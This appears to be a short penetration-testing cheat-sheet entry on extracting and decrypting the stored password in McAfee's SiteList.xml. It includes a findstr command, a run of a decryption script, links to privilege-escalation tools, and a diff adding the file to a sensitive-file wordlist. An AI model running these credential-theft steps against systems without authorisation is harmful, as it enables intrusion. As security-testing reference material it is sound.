McAfee SiteList.xml

type "C:\ProgramData\McAfee\Common Framework\SiteList.xml" |findstr Password

$ ./mcafee_sitelist_pwd_decrypt.py f2mwBTzPQdtnY6QNOsVexH9psAU8z0HbZ2OkDTrFXsR/abAFPM9B3Q==
Crypted password : f2mwBTzPQdtnY6QNOsVexH9psAU8z0HbZ2OkDTrFXsR/abAFPM9B3Q==
Decrypted password :


https://github.com/PowerShellEmpire/Empire/blob/master/data/module_source/privesc/Get-SiteListPassword.ps1
https://github.com/funoverip/mcafee-sitelist-pwd-decryption

Author: soffensive

windows-files.txt

@@ -97,6 +97,7 @@ c:/program files/mysql/mysql server 5.0/my.cnf
 c:/program files/mysql/mysql server 5.0/my.ini
 c:/program files/mysql/mysql server 5.1/my.ini
 c:/program files/xampp/apache/conf/httpd.conf
+c:/programdata/mcafee/common framework/sitelist.xml
 c:/sysprep.inf
 c:/sysprep.xml
 c:/sysprep/sysprep.inf